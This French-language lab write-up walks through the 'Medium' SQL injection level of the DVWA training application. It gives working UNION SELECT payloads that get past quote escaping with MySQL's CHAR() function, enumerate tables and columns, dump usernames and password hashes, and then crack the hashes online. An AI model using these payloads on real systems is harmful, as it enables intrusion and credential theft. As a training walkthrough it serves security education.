Niveau "Medium"

Le formulaire est légèrement modifié ici puisque l'application présente non plus un champ de type <input> mais une liste de sélection <select> :

Pour un soucis de simplicité, j'utilise ici l'extension Web Developer (possible via Burp également) qui va convertir ce nouveau formulaire en champ de type <input> :

Je tente d'injecter ma caractère spécial "'" afin de générer une erreur SQL :

L'erreur m'informe sur la présence d'une protection car le caractère "'" est échappé (via le caractère "\"). De plus, l'erreur m'indique qu'il s'agit sans doute d'une injection de type numérique et non plus de type String (nombre de "'" entourant notre donnée).

Sans reprendre toutes les étapes de reconnaissance (déjà effectuées pour le niveau "Low"), voici l'exploitation de l'injection :

1 UNION SELECT 1,2

L'échappement effectué par l'application est un peu embêtant car il m'empêche d'effectuer ma clause WHERE :

6 UNION SELECT table_name,2 FROM INFORMATION_SCHEMA.tables WHERE TABLE_SCHEMA = 'dvwa' -- 

Afin de contourner cette limitation je peux, soit supprimer la clause, ce qui aura pour conséquence de retourner une liste de toutes les tables des différentes bases, ou alors, utiliser la fonction CHAR() de MySQL :

6 UNION SELECT table_name,2 FROM INFORMATION_SCHEMA.tables WHERE TABLE_SCHEMA = CHAR(100,118,119,97)

Maintenant que je peux contourner l'échappement en place, la suite est facile :

6 UNION SELECT column_name,2 FROM INFORMATION_SCHEMA.columns WHERE TABLE_SCHEMA = CHAR(100,118,119,97)

Puis finalement :

6 UNION SELECT user,password FROM dvwa.users

Une fois fait, la dernière étape reste de cracker les hash md5 (32 caractères) des mots de passe en utilisant par exemple crackstation.net :

Dernière mise à jour